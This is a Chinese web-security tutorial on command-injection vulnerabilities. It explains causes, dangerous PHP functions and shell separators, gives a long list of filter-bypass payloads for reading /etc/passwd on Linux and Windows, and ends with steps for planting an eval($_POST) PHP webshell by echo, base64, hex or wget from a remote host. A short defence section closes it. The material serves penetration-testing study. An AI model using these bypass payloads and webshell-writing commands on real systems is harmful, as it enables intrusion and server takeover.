WEB安全梳理-命令执行
字数 1256 2025-08-12 11:33:43
WEB安全梳理:命令执行漏洞详解
一、漏洞原理
命令执行漏洞是指应用程序调用执行系统命令的函数时,未对用户可控参数做过滤,导致攻击者可以将恶意系统命令拼接到正常命令中执行。常见危险函数包括:
system()exec()shell_exec()eval()passthru()
二、漏洞产生原因
- 输入过滤不足:未过滤
&、&&、|、||等连接符号 - 系统漏洞:如Bash破壳漏洞(CVE-2014-6271)
- 第三方组件漏洞:如Struts2、Elasticsearch Groovy、ThinkPHP等
三、危害
- 继承Web服务程序权限执行系统命令或读写文件
- 反弹shell
- 控制整个网站甚至服务器
- 进一步内网渗透
四、漏洞分类
- 直接注入执行漏洞:直接使用危险函数且参数可控
- 包含执行漏洞:包含用户可控的上传脚本或远程文件
- 反序列化执行漏洞:反序列化时执行危险函数
- 动态变量执行漏洞:动态组装变量/函数导致执行漏洞
五、与代码执行漏洞的区别
- 命令执行:直接调用操作系统命令
- 代码执行:执行脚本代码间接调用系统命令
六、常见连接符(管道符)
Windows系统
&:顺序执行&&:前命令成功则执行后命令|:管道符||:前命令失败则执行后命令
Linux系统
;:顺序执行&:后台执行&&:前命令成功则执行后命令|:管道符||:前命令失败则执行后命令
七、常见命令执行函数
- system():执行系统命令,有回显
- passthru():执行系统命令并显示原始输出
- shell_exec():通过shell执行命令,返回完整字符串(无回显)
- exec():执行外部程序,仅返回最后一行(无回显)
- 反引号:
`command`执行命令 - 回调函数:如调用上述执行系统命令的函数
八、命令执行绕过技巧
Linux场景绕过
-
通配符绕过:
cat /et?/p?*sswd -
命令拼接:
ls & cat /etc/passwd -
注释符:
cat /etc/passwd #anything -
编码绕过:
- URL编码:
cat%20%2Fetc%2Fpasswd - Base64:
echo "d2hvYW1p" | base64 -d | bash
- URL编码:
-
$IFS空字符:
cat$IFS/etc/passwd cat${IFS}/etc/passwd -
字符拼接:
cat /"e"tc/'p'a's'swd -
转义拼接:
\c\a\t /etc/passwd -
变量拼接:
a=ca;b=t;$a$b /etc/passwd -
填充垃圾字符:
cat /etc/passwd xxx 666`whoami`666 -
反引号和$():
echo "result : `whoami`" echo "result : $(whoami)" -
重定向绕过空格:
cat<>1.txt cat<1.txt -
单/双引号:
c""at 1.tx''t -
反斜杠:
c\a\t 1.t\x\t -
\(1、\)@、$*:
c$1a$1t 1.t$1$1x$1t -
绕过长度限制:
echo -n "cat " > r; echo -n "/etc" >> r; echo "/passwd" >> r; cat r | bash -
逗号绕过空格:
{cat,/etc/passwd} -
\x20绕过:
COMMAND=$'\x20-al';ls$COMMAND -
环境变量绕过:
${PATH:5:1}${PATH:2:1} -
文件名通配:
cat fl[abc]g.txt cat f[a-z]ag.txt cat fla*
Windows场景绕过
-
type命令:
type.\flag.txt type,flag.txt -
特殊符号:
who^am^i who""ami"i" -
set命令:
set a=who set b=ami %a%%b% -
ping绕过:
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"
九、命令执行写Webshell
寻找Web路径
-
文件查找法:
- Linux:
find / -name index.php - Windows:
for /r d:/ %i in (index.html) do @echo %i
- Linux:
-
源码查找法:
- Linux:
find / -name "*.*" | xargs grep "PHP installed properly" - Windows:
findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
- Linux:
-
历史命令:
history | grep nginx
写入Webshell方法
-
echo直接写入:
echo '<?php eval($_POST[1]); ?>' > 1.php -
Base64写入:
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php -
绕过重定向符:
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash -
远端下载:
wget http://xx.xx.xxx.xx:8000/xxx.php -
Hex写入:
echo '<?php eval($_POST[1]); ?>' |xxd -ps echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php
十、漏洞防范
- 尽量避免使用系统执行命令
- 执行命令前对变量严格过滤,转义敏感字符
- 使用动态函数前确保是预期函数
- 对PHP语言,避免使用不能完全控制的危险函数